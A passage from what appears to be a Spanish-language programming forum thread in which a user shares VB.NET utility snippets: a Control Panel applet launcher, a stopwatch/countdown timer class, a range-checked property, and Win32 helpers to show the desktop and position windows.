Process.Start(ControlProcess, "/name Microsoft.TextToSpeech")
Case Applets.Troubleshooting
Process.Start(ControlProcess, "/name Microsoft.Troubleshooting")
Case Applets.UserAccounts
Process.Start(ControlProcess, "/name Microsoft.UserAccounts")
Case Applets.WelcomeCenter
Process.Start(ControlProcess, "/name Microsoft.WelcomeCenter")
Case Applets.WindowsAnytimeUpgrade
Process.Start(ControlProcess, "/name Microsoft.WindowsAnytimeUpgrade")
Case Applets.WindowsCardSpace
Process.Start(ControlProcess, "/name Microsoft.CardSpace")
Case Applets.WindowsDefender
Process.Start(ControlProcess, "/name Microsoft.WindowsDefender")
Case Applets.WindowsFirewall
Process.Start(ControlProcess, "/name Microsoft.WindowsFirewall")
Case Applets.WindowsMarketplace
Process.Start(ControlProcess, "/name Microsoft.GetProgramsOnline")
Case Applets.WindowsMobilityCenter
Process.Start(ControlProcess, "/name Microsoft.MobilityCenter")
Case Applets.WindowsSidebarProperties
Process.Start(ControlProcess, "/name Microsoft.WindowsSidebarProperties")
Case Applets.WindowsSideShow
Process.Start(ControlProcess, "/name Microsoft.WindowsSideShow")
Case Applets.WindowsUpdate
Process.Start(ControlProcess, "/name Microsoft.WindowsUpdate")
End Select
End Sub
#End Region
End Class
He tomado una antigua class del cajón de los recuerdos (o experimentos xD) que servía como medidor de tiempo para un cronómetro o una cuenta atrás y lo he mejorado y simplificado bastante.
Ejemplo de uso:
Public Class form1
''' <summary>
''' The <see cref="TimeMeasurer"/> instance that measure time intervals.
''' </summary>
Private WithEvents Clock As New TimeMeasurer With {.UpdateInterval = 100}
Private ctrl_ElapsedTime As Control ' Control used to display the time elapsed interval.
Private ctrl_RemainingTime As Control ' Control used to display the time remaining interval.
Private Shadows Sub Load() Handles MyBase.Load
ctrl_ElapsedTime = Label1
ctrl_RemainingTime = Label2
Me.Clock.Start(60000) ' Measure 1 minute
' Or...
' Me.Clock.Stop() ' Stop temporally the time interval measurement.
' Me.Clock.Resume() ' Resume a previouslly stopped time interval measurement.
' Dim ClockState As TimeMeasurer.TimeMeasurerState = Me.Clock.State ' Get the state.
End Sub
Private Sub Clock_ElapsedTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
Handles Clock.ElapsedTimeUpdated
' Measure H:M:S:MS
ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
e.Hour, e.Minute, e.Second, e.Millisecond)
End Sub
Private Sub Clock_RemainingTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
Handles Clock.RemainingTimeUpdated
' Measure H:M:S:MS
ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
e.Hour, e.Minute, e.Second, e.Millisecond)
'' Measure H:M:S
'ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
' e.Hour, e.Minute, e.Second + 1)
End Sub
Private Sub Clock_ElapsedTimeFinished(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
Handles Clock.ElapsedTimeFinished
' Measure H:M:S:MS
ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
e.Hour, e.Minute, e.Second, e.Millisecond)
End Sub
Private Sub Clock_RemainingTimeFinished(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
Handles Clock.RemainingTimeFinished
' Measure H:M:S:MS
ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
e.Hour, e.Minute, e.Second, e.Millisecond)
End Sub
End Class
Como veis es muy sencillo de usar y de una manera más genérica (mucho más que el antiguo código que ecribí)
El source:
' ***********************************************************************
' Author : Elektro
' Last Modified On : 10-02-2014
' ***********************************************************************
' <copyright file="TimeMeasurer.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Public Class TimeMeasurer_Test
'
' ''' <summary>
' ''' The <see cref="TimeMeasurer"/> instance that measure time intervals.
' ''' </summary>
' Private WithEvents Clock As New TimeMeasurer With {.UpdateInterval = 100}
'
' Private ctrl_ElapsedTime As Control ' Control used to display the time elapsed interval.
' Private ctrl_RemainingTime As Control ' Control used to display the time remaining interval.
'
' Private Shadows Sub Load() Handles MyBase.Load
'
' ctrl_ElapsedTime = LabelElapsed
' ctrl_RemainingTime = LabelRemaining
'
' Me.Clock.Start(60000) ' Measure 1 minute
'
' ' Or...
' ' Me.Clock.Stop() ' Stop temporally the time interval measurement.
' ' Me.Clock.Resume() ' Resume a previouslly stopped time interval measurement.
' ' Dim ClockState As TimeMeasurer.TimeMeasurerState = Me.Clock.State ' Get the state.
'
' End Sub
'
' ''' <summary>
' ''' Handles the ElapsedTimeUpdated event of the Clock instance.
' ''' </summary>
' ''' <param name="sender">The source of the event.</param>
' ''' <param name="e">The <see cref="TimeMeasurer.TimeMeasureEventArgs"/> instance containing the event data.</param>
' Private Sub Clock_ElapsedTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
' Handles Clock.ElapsedTimeUpdated
'
' ' Measure H:M:S:MS
' ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
' e.Hour, e.Minute, e.Second, e.Millisecond)
'
' ' Measure H:M:S
' ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
' e.Hour, e.Minute, e.Second)
'
' End Sub
'
' ''' <summary>
' ''' Handles the RemainingTimeUpdated event of the Clock instance.
' ''' </summary>
' ''' <param name="sender">The source of the event.</param>
' ''' <param name="e">The <see cref="TimeMeasurer.TimeMeasureEventArgs"/> instance containing the event data.</param>
' Private Sub Clock_RemainingTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
' Handles Clock.RemainingTimeUpdated
'
' ' Measure H:M:S:MS
' ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
' e.Hour, e.Minute, e.Second, e.Millisecond)
'
' ' Measure H:M:S
' ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
' e.Hour, e.Minute, e.Second + 1)
'
' End Sub
'
' ''' <summary>
' ''' Handles the ElapsedTimeFinished event of the Clock instance.
' ''' </summary>
' ''' <param name="sender">The source of the event.</param>
' ''' <param name="e">The <see cref="TimeMeasurer.TimeMeasureEventArgs"/> instance containing the event data.</param>
' Private Sub Clock_ElapsedTimeFinished(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
' Handles Clock.ElapsedTimeFinished
'
' ' Measure H:M:S:MS
' ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
' e.Hour, e.Minute, e.Second, e.Millisecond)
'
' ' Measure H:M:S
' ctrl_ElapsedTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
' e.Hour, e.Minute, e.Second)
'
' End Sub
'
' ''' <summary>
' ''' Handles the RemainingTimeFinished event of the Clock instance.
' ''' </summary>
' ''' <param name="sender">The source of the event.</param>
' ''' <param name="e">The <see cref="TimeMeasurer.TimeMeasureEventArgs"/> instance containing the event data.</param>
' Private Sub Clock_RemainingTimeFinished(ByVal sender As Object, ByVal e As TimeMeasurer.TimeMeasureEventArgs) _
' Handles Clock.RemainingTimeFinished
'
' ' Measure H:M:S:MS
' ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}:{3:000}",
' e.Hour, e.Minute, e.Second, e.Millisecond)
'
' ' Measure H:M:S
' ctrl_RemainingTime.Text = String.Format("{0:00}:{1:00}:{2:00}",
' e.Hour, e.Minute, e.Second)
'
' End Sub
'
'End Class
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System.ComponentModel
#End Region
''' <summary>
''' Measure a time interval.
''' This can be used as a chronometer or countdown timer.
''' </summary>
Public NotInheritable Class TimeMeasurer
#Region " Objects "
''' <summary>
''' <see cref="Stopwatch"/> instance to retrieve the elapsed time.
''' </summary>
Private TimeElapsed As Stopwatch
''' <summary>
''' <see cref="TimeSpan"/> instance to retrieve the remaining time.
''' </summary>
Private TimeRemaining As TimeSpan
''' <summary>
''' <see cref="Timer"/> instance that updates the elapsed and remaining times and raises the events.
''' </summary>
Private WithEvents MeasureTimer As Timer
''' <summary>
''' Indicates wheter the <see cref="TimeMeasurer"/> instance has finished to measure intervals.
''' </summary>
Private IsFinished As Boolean
#End Region
#Region " Properties "
''' <summary>
''' Gets the current state of this <see cref="TimeMeasurer"/> instance.
''' </summary>
''' <value>The update interval.</value>
Public ReadOnly Property State As TimeMeasurerState
Get
If Me.IsFinished Then
Return TimeMeasurerState.Finished
ElseIf (Me.TimeElapsed Is Nothing) OrElse Not (Me.TimeElapsed.IsRunning) Then
Return TimeMeasurerState.Stopped
Else
Return TimeMeasurerState.Running
End If
End Get
End Property
''' <summary>
''' Gets or sets the update interval.
''' </summary>
''' <value>The update interval.</value>
Public Property UpdateInterval As Integer
Get
Return Me._UpdateInterval
End Get
Set(ByVal value As Integer)
Me._UpdateInterval = value
If Me.MeasureTimer IsNot Nothing Then
Me.MeasureTimer.Interval = value
End If
End Set
End Property
''' <summary>
''' The update interval
''' </summary>
Private _UpdateInterval As Integer = 100I
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies the current state of a <see cref="TimeMeasurer"/> instance.
''' </summary>
<Description("Enum used as return value of 'State' property.")>
Public Enum TimeMeasurerState As Integer
''' <summary>
''' The <see cref="TimeMeasurer"/> instance is running and measuring time intervals.
''' </summary>
Running = 0I
''' <summary>
''' The <see cref="TimeMeasurer"/> instance is temporally stopped, waiting to resume.
''' </summary>
Stopped = 1I
''' <summary>
''' The <see cref="TimeMeasurer"/> instance has finished to measure the time intervals.
''' </summary>
Finished = 2I
End Enum
#End Region
#Region " Events "
''' <summary>
''' Occurs when the elapsed time updates.
''' </summary>
Public Event ElapsedTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasureEventArgs)
''' <summary>
''' Occurs when the remaining time updates.
''' </summary>
Public Event RemainingTimeUpdated(ByVal sender As Object, ByVal e As TimeMeasureEventArgs)
''' <summary>
''' Occurs when the elapsed time finishes.
''' </summary>
Public Event ElapsedTimeFinished(ByVal sender As Object, ByVal e As TimeMeasureEventArgs)
''' <summary>
''' Occurs when the elapsed time finishes.
''' </summary>
Public Event RemainingTimeFinished(ByVal sender As Object, ByVal e As TimeMeasureEventArgs)
''' <summary>
''' Contains the <see cref="TimeMeasureEventArgs"/> arguments.
''' </summary>
Public Class TimeMeasureEventArgs : Inherits EventArgs
''' <summary>
''' Gets or sets the hour.
''' </summary>
''' <value>The hour.</value>
Public Property Hour As Double
''' <summary>
''' Gets or sets the minute.
''' </summary>
''' <value>The minute.</value>
Public Property Minute As Double
''' <summary>
''' Gets or sets the Second.
''' </summary>
''' <value>The Second.</value>
Public Property Second As Double
''' <summary>
''' Gets or sets the Millisecond.
''' </summary>
''' <value>The Millisecond.</value>
Public Property Millisecond As Double
End Class
#End Region
#Region " Public Methods "
''' <summary>
''' Starts the time interval measurement from zero.
''' </summary>
''' <param name="Milliseconds">Indicates the time interval to measure, in milliseconds.</param>
Public Sub Start(ByVal Milliseconds As Double)
If Milliseconds > (TimeSpan.MaxValue.TotalMilliseconds - 1001.0R) Then
Throw New ArgumentOutOfRangeException("Milliseconds",
String.Format("The value can't be greater than {0}",
CStr(TimeSpan.MaxValue.TotalMilliseconds - 1001.0R)))
End If
Me.TimeElapsed = New Stopwatch
Me.TimeRemaining = TimeSpan.FromMilliseconds(Milliseconds)
Me.MeasureTimer = New Timer With
{
.Tag = Milliseconds,
.Interval = Me.UpdateInterval,
.Enabled = True
}
Me.TimeElapsed.Start()
Me.MeasureTimer.Start()
End Sub
''' <summary>
''' Stops the time interval measurement.
''' </summary>
Public Sub [Stop]()
If (Me.MeasureTimer Is Nothing) OrElse Not (Me.TimeElapsed.IsRunning) Then
Throw New Exception("TimeMeasurer is not running.")
Else
Me.MeasureTimer.Stop()
Me.TimeElapsed.Stop()
End If
End Sub
''' <summary>
''' Resumes the time interval measurement.
''' </summary>
Public Sub [Resume]()
If (Me.MeasureTimer Is Nothing) OrElse (Me.TimeElapsed.IsRunning) Then
Throw New Exception("TimeMeasurer is not stopped.")
Else
Me.MeasureTimer.Start()
Me.TimeElapsed.Start()
End If
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Stops Time intervals and resets the elapsed and remaining time to zero.
''' </summary>
Private Sub Reset()
Me.MeasureTimer.Stop()
Me.TimeElapsed.Reset()
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Handles the Tick event of the MeasureTimer control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub MeasureTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
Handles MeasureTimer.Tick
Dim TimeDifference As TimeSpan = (Me.TimeRemaining - Me.TimeElapsed.Elapsed)
Dim ElapsedArgs As New TimeMeasureEventArgs
Dim RemainingArgs As New TimeMeasureEventArgs
If (TimeDifference.TotalMilliseconds <= 0.0R) _
OrElse (Me.TimeElapsed.ElapsedMilliseconds > DirectCast(Me.MeasureTimer.Tag, Double)) Then
Dim TotalTime As TimeSpan = TimeSpan.FromMilliseconds(DirectCast(Me.MeasureTimer.Tag, Double))
With ElapsedArgs
.Hour = TotalTime.Hours
.Minute = TotalTime.Minutes
.Second = TotalTime.Seconds
.Millisecond = TotalTime.Milliseconds
End With
With RemainingArgs
.Hour = 0.0R
.Minute = 0.0R
.Second = 0.0R
.Millisecond = 0.0R
End With
Me.Reset()
Me.IsFinished = True
RaiseEvent ElapsedTimeFinished(Me.TimeElapsed, ElapsedArgs)
RaiseEvent RemainingTimeFinished(TimeDifference, RemainingArgs)
Else
With ElapsedArgs
.Hour = TimeElapsed.Elapsed.Hours
.Minute = TimeElapsed.Elapsed.Minutes
.Second = TimeElapsed.Elapsed.Seconds
.Millisecond = TimeElapsed.Elapsed.Milliseconds
End With
With RemainingArgs
.Hour = Math.Floor(TimeDifference.TotalHours) Mod TimeSpan.MaxValue.TotalMilliseconds
.Minute = Math.Floor(TimeDifference.TotalMinutes) Mod 60.0R
.Second = Math.Floor(TimeDifference.TotalSeconds) Mod 60.0R
.Millisecond = Math.Floor(TimeDifference.TotalMilliseconds Mod 1000.0R)
End With
RaiseEvent ElapsedTimeUpdated(Me.TimeElapsed, ElapsedArgs)
RaiseEvent RemainingTimeUpdated(TimeDifference, RemainingArgs)
End If
End Sub
#End Region
End Class
Bueno, ya que nadie me da nunca las gracias por mis aportaciones de Snippets los cuales voy publicando casi día tras día o semana tras semana, y ya que no recibo ni un piropo ni una sonrisa por esto (xD), pues escribo este OffTopic para darme un poquito de reconocimiento a mi mismo, porque yo lo valgo xD.
Así es un día cualquiera en la vida de Elektro actualizando un antiguo Snippet (los breakpoints creo que no se restauran al darle ctrl+z), esto es para que veais que le pongo mucho empeño para compartir códigos con todos vosotros... y que todo es de cosecha propia, bueno, y porque en realidad siempre quise hacer algún video de este estilo a lo speed-coding, aunque no he elegido el mejor código/snippet para hacer este tipo de video, pero tenia muchas ganas de hacerlo xD:
[youtube=960,540]https://www.youtube.com/watch?v=6E3AEs66KaQ[/youtube]
Si, ha sido una chorrada de video y de comentario, ¿y que?, ¡a ver si os animais a compartir Snippets!... que siempre soy el único :(
Saludos!
Ejemplo de como crear una propiedad con un rango asignado...
Public Class MyType
''' <summary>
''' Gets or sets the value.
''' </summary>
''' <value>The value.</value>
Public Property MyProperty As Integer
Get
Return Me._MyValue
End Get
Set(ByVal value As Integer)
If value < Me._MyValueMin Then
If Me._MyValueThrowRangeException Then
Throw New ArgumentOutOfRangeException("MyValue", Me._MyValueExceptionMessage)
End If
Me._MyValue = Me._MyValueMin
ElseIf value > Me._MyValueMax Then
If Me._MyValueThrowRangeException Then
Throw New ArgumentOutOfRangeException("MyValue", Me._MyValueExceptionMessage)
End If
Me._MyValue = Me._MyValueMax
Else
Me._MyValue = value
End If
End Set
End Property
Private _MyValue As Integer = 0I
Private _MyValueMin As Integer = 0I
Private _MyValueMax As Integer = 10I
Private _MyValueThrowRangeException As Boolean = True
Private _MyValueExceptionMessage As String = String.Format("The valid range is beetwen {0} and {1}",
Me._MyValueMin, Me._MyValueMax)
End Class
Una utilidad para mostrar, ocultar, o intercambiar el estado del escritorio.
Nota: El método ToggleDesktop no funciona en WinXP.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 09-23-2014
' ***********************************************************************
' <copyright file="DesktopVisibility.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
' DesktopVisibility.ShowDesktop()
' DesktopVisibility.HideDesktop()
' DesktopVisibility.ToggleDesktop()
#End Region
#Region " Imports "
Imports System.Runtime.InteropServices
#End Region
#Region " DesktopVisibility "
''' <summary>
''' Shows, hides, or toggles the desktop.
''' </summary>
Public NotInheritable Class DesktopVisibility
#Region " Objects "
''' <summary>
''' "Shell" CLASSID.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/bb776890%28v=vs.85%29.aspx
''' </summary>
Private Shared ReadOnly CLSIDShell As New Guid("13709620-C279-11CE-A49E-444553540000")
''' <summary>
''' Gets the objects in the Shell.
''' Methods are provided to control the Shell and to execute commands within the Shell.
''' There are also methods to obtain other Shell-related objects.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/bb774094%28v=vs.85%29.aspx
''' </summary>
Private Shared ReadOnly Property Shell As Object
Get
If _Shell Is Nothing Then
_Shell = Activator.CreateInstance(Type.GetTypeFromCLSID(CLSIDShell))
Return _Shell
Else
Return _Shell
End If
End Get
End Property
Private Shared _Shell As Object = Nothing
#End Region
#Region " P/Invoke "
#Region " Methods "
''' <summary>
''' Retrieves a handle to the top-level window whose class name and window name match the specified strings.
''' This function does not search child windows.
''' This function does not perform a case-sensitive search.
''' To search child windows, beginning with a specified child window, use the FindWindowEx function.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633499%28v=vs.85%29.aspx
''' </summary>
''' <param name="lpClassName">The class name.
''' If this parameter is NULL, it finds any window whose title matches the lpWindowName parameter.</param>
''' <param name="lpWindowName">The window name (the window's title).
''' If this parameter is NULL, all window names match.</param>
''' <returns>If the function succeeds, the return value is a handle to the window that has the specified class name and window name.
''' If the function fails, the return value is NULL.</returns>
<DllImport("user32.dll", SetLastError:=False)>
Private Shared Function FindWindow(
ByVal lpClassName As String,
ByVal lpWindowName As String
) As IntPtr
End Function
''' <summary>
''' Sends the specified message to a window or windows.
''' The SendMessage function calls the window procedure for the specified window
''' and does not return until the window procedure has processed the message.
''' </summary>
''' <param name="hWnd">A handle to the window whose window procedure will receive the message.</param>
''' <param name="Msg">The message to be sent.</param>
''' <param name="wParam">Additional message-specific information.</param>
''' <param name="lParam">Additional message-specific information.</param>
''' <returns>IntPtr.</returns>
<DllImport("user32.dll", SetLastError:=False)>
Private Shared Function SendMessage(
ByVal hWnd As IntPtr,
ByVal Msg As WindowsMessages,
ByVal wParam As IntPtr,
ByVal lParam As IntPtr
) As IntPtr
End Function
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies a System-Defined Message.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644927%28v=vs.85%29.aspx#system_defined
''' </summary>
Public Enum WindowsMessages
''' <summary>
''' Message sent when the user selects a command item from a menu,
''' when a control sends a notification message to its parent window,
''' or when an accelerator keystroke is translated.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms647591%28v=vs.85%29.aspx
''' </summary>
WM_COMMAND = &H111UI
End Enum
#End Region
#Region " Constants "
''' <summary>
''' Minimize all windows.
''' </summary>
Const MIN_ALL As Integer = 419
''' <summary>
''' Undo the minimization of all minimized windows.
''' </summary>
Const MIN_ALL_UNDO As Integer = 416
#End Region
#End Region
#Region " Public Methods "
''' <summary>
''' Shows the desktop.
''' </summary>
Public Shared Sub ShowDesktop()
SendMessage(FindWindow("Shell_TrayWnd", Nothing),
WindowsMessages.WM_COMMAND,
New IntPtr(MIN_ALL), IntPtr.Zero)
End Sub
''' <summary>
''' Hides the desktop.
''' </summary>
Public Shared Sub HideDesktop()
SendMessage(FindWindow("Shell_TrayWnd", Nothing),
WindowsMessages.WM_COMMAND,
New IntPtr(MIN_ALL_UNDO), IntPtr.Zero)
End Sub
''' <summary>
''' Shows or hides the desktop.
''' </summary>
Public Shared Sub ToggleDesktop()
Shell.ToggleDesktop() ' Doesns't works in Windows XP
End Sub
#End Region
End Class
#End Region
Utilidad para posicionar una ventana en la pantalla, se puede elegir una de las posiciones predeterminadas (las esquinas de la pantalla) o especificar unas coordenadas exactas.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 10-01-2014
' ***********************************************************************
' <copyright file="SetWindowPosition.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Example Usage "
' SetWindowPosition.SetWindowPos("proceso.exe", SetWindowPosition.Corner.BottomRight)
' SetWindowPosition.SetWindowPos("proceso.exe", X:=100, Y:=100, Bounds:=SystemInformation.VirtualScreen)
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Runtime.InteropServices
#End Region
''' <summary>
''' Set the position of a window.
''' </summary>
Public Class SetWindowPosition
#Region " P/Invoke "
''' <summary>
''' Platform Invocation methods (P/Invoke), access unmanaged code.
''' This class does not suppress stack walks for unmanaged code permission.
''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/> must not be applied to this class.
''' This class is for methods that can be used anywhere because a stack walk will be performed.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/ms182161.aspx
''' </summary>
Protected NotInheritable Class NativeMethods
#Region " Methods "
''' <summary>
''' Changes the size, position, and Z order of a child, pop-up, or top-level window.
''' These windows are ordered according to their appearance on the screen.
''' The topmost window receives the highest rank and is the first window in the Z order.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">
''' A handle to the window.
''' </param>
''' <param name="hWndInsertAfter">
''' A special handle to the window to precede the positioned window in the Z order.
''' This parameter must be a window handle or one of the <see cref="SpecialWindowHandles"/> values.
''' </param>
''' <param name="X">
''' The new position of the left side of the window, in client coordinates.
''' </param>
''' <param name="Y">
''' The new position of the top of the window, in client coordinates.
''' </param>
''' <param name="cx">
''' The new width of the window, in pixels.
''' </param>
''' <param name="cy">
''' The new height of the window, in pixels.
''' </param>
''' <param name="uFlags">
''' The window sizing and positioning flags.
''' </param>
''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
<DllImport("user32.dll", SetLastError:=True)>
Friend Shared Function SetWindowPos(
ByVal hWnd As IntPtr,
ByVal hWndInsertAfter As SpecialWindowHandles,
ByVal X As Integer,
ByVal Y As Integer,
ByVal cx As Integer,
ByVal cy As Integer,
ByVal uFlags As SetWindowPosFlags
) As Boolean
End Function
''' <summary>
''' Retrieves the dimensions of the bounding rectangle of the specified window.
''' The dimensions are given in screen coordinates that are relative to the upper-left corner of the screen.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633519%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">A handle to the window.</param>
''' <param name="rc">
''' A pointer to a RECT structure that receives the screen coordinates of
''' the upper-left and lower-right corners of the window.
''' </param>
''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
<DllImport("user32.dll", SetLastError:=True)>
Friend Shared Function GetWindowRect(
ByVal hWnd As IntPtr,
ByRef rc As Rectangle
) As Boolean
End Function
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies the window sizing and positioning flags.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
''' </summary>
<Description("Enum used as 'uFlags' parameter of 'NativeMethods.SetWindowPos' function")>
<Flags>
Friend Enum SetWindowPosFlags As UInteger
''' <summary>
''' If the calling thread and the thread that owns the window are attached to different input queues,
''' the system posts the request to the thread that owns the window.
''' This prevents the calling thread from blocking its execution while other threads process the request.
''' </summary>
''' <remarks>SWP_ASYNCWINDOWPOS</remarks>
SynchronousWindowPosition = &H4000UI
''' <summary>
''' Prevents generation of the WM_SYNCPAINT message.
''' </summary>
''' <remarks>SWP_DEFERERASE</remarks>
DeferErase = &H2000UI
''' <summary>
''' Draws a frame (defined in the window's class description) around the window.
''' </summary>
''' <remarks>SWP_DRAWFRAME</remarks>
DrawFrame = &H20UI
''' <summary>
''' Applies new frame styles set using the SetWindowLong function.
''' Sends a WM_NCCALCSIZE message to the window, even if the window's size is not being changed.
''' If this flag is not specified, WM_NCCALCSIZE is sent only when the window's size is being changed.
''' </summary>
''' <remarks>SWP_FRAMECHANGED</remarks>
FrameChanged = &H20UI
''' <summary>
''' Hides the window.
''' </summary>
''' <remarks>SWP_HIDEWINDOW</remarks>
HideWindow = &H80UI
''' <summary>
''' Does not activate the window.
''' If this flag is not set, the window is activated and moved to the top of
''' either the topmost or non-topmost group (depending on the setting of the hWndInsertAfter parameter).
''' </summary>
''' <remarks>SWP_NOACTIVATE</remarks>
DoNotActivate = &H10UI
''' <summary>
''' Discards the entire contents of the client area. If this flag is not specified,
''' the valid contents of the client area are saved and copied back into the
''' client area after the window is sized or repositioned.
''' </summary>
''' <remarks>SWP_NOCOPYBITS</remarks>
DoNotCopyBits = &H100UI
''' <summary>
''' Retains the current position (ignores X and Y parameters).
''' </summary>
''' <remarks>SWP_NOMOVE</remarks>
IgnoreMove = &H2UI
''' <summary>
''' Does not change the owner window's position in the Z order.
''' </summary>
''' <remarks>SWP_NOOWNERZORDER</remarks>
DoNotChangeOwnerZOrder = &H200UI
''' <summary>
''' Does not redraw changes.
''' If this flag is set, no repainting of any kind occurs.
''' This applies to the client area, the nonclient area (including the title bar and scroll bars),
''' and any part of the parent window uncovered as a result of the window being moved.
''' When this flag is set, the application must explicitly invalidate or
''' redraw any parts of the window and parent window that need redrawing.
''' </summary>
''' <remarks>SWP_NOREDRAW</remarks>
DoNotRedraw = &H8UI
''' <summary>
''' Same as the SWP_NOOWNERZORDER flag.
''' </summary>
''' <remarks>SWP_NOREPOSITION</remarks>
DoNotReposition = &H200UI
''' <summary>
''' Prevents the window from receiving the WM_WINDOWPOSCHANGING message.
''' </summary>
''' <remarks>SWP_NOSENDCHANGING</remarks>
DoNotSendChangingEvent = &H400UI
''' <summary>
''' Retains the current size (ignores the cx and cy parameters).
''' </summary>
''' <remarks>SWP_NOSIZE</remarks>
IgnoreResize = &H1UI
''' <summary>
''' Retains the current Z order (ignores the hWndInsertAfter parameter).
''' </summary>
''' <remarks>SWP_NOZORDER</remarks>
IgnoreZOrder = &H4UI
''' <summary>
''' Displays the window.
''' </summary>
''' <remarks>SWP_SHOWWINDOW</remarks>
ShowWindow = &H40UI
End Enum
''' <summary>
''' Specifies a special handle to the window to precede the positioned window in the Z order.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
''' </summary>
<Description("Enum used as 'hWndInsertAfter' parameter of 'NativeMethods.SetWindowPos' function")>
Friend Enum SpecialWindowHandles As Integer
''' <summary>
''' Places the window at the top of the Z order.
''' </summary>
Top = 0I
''' <summary>
''' Places the window at the bottom of the Z order.
''' If the hWnd parameter identifies a topmost window,
''' the window loses its topmost status and is placed at the bottom of all other windows.
''' </summary>
Bottom = 1I
''' <summary>
''' Places the window above all non-topmost windows.
''' The window maintains its topmost position even when it is deactivated.
''' </summary>
TopMost = -1I
''' <summary>
''' Places the window above all non-topmost windows (that is, behind all topmost windows).
''' This flag has no effect if the window is already a non-topmost window.
''' </summary>
NoTopMost = -2I
End Enum
#End Region
End Class
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies a screen corner.
''' </summary>
<Description("Enum used as 'Corner' parameter of 'SetWindowPos' function")>
Friend Enum Corner As Integer
''' <summary>
''' Top-Left screen corner.
''' </summary>
TopLeft = 0I
''' <summary>
''' Top-Right screen corner.
''' </summary>
TopRight = 1I
''' <summary>
''' Bottom-Left screen corner.
''' </summary>
BottomLeft = 2I
''' <summary>
''' Bottom-Right screen corner.
''' </summary>0
BottomRight = 3I
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Set the position of a window.
''' </summary>
''' <param name="ProcessName">The process name.</param>
''' <param name="Corner">The new window position, a screen corner.</param>
''' <param name="Bounds">
''' The screen <see cref="Rectangle"/> where the window is shown.
''' If this parameter is empty, <see cref="Screen.PrimaryScreen"/> is used as default.
''' </param>
Friend Shared Sub SetWindowPos(ByVal ProcessName As String,
ByVal Corner As Corner,
Optional ByVal Bounds As Rectangle = Nothing)
Dim Rect As Rectangle ' The specified screen bounds
Dim HWND As IntPtr ' The process main window handle.
Dim Width As Integer ' The process window width.
Dim Height As Integer ' The process window height.
Dim x As Integer
Dim y As Integer
If Bounds.IsEmpty Then
Bounds = Screen.PrimaryScreen.WorkingArea
End If
' Iterate the process instances.
For Each p As Process In Process.GetProcessesByName(FixProcessName(ProcessName))
Try
' Get the main window handle.
HWND = p.MainWindowHandle
' Copy the process window position and size into the Rectangle.
' NOTE: This is not a bad practice, but 'GetWindowRect' function should use a Windows API 'RECT' structure.
NativeMethods.GetWindowRect(HWND, Rect)
Width = (Rect.Width - Rect.Left) ' Set the window width
Height = (Rect.Height - Rect.Top) ' Set the window height
Select Case Corner
Case SetWindowPosition.Corner.TopLeft
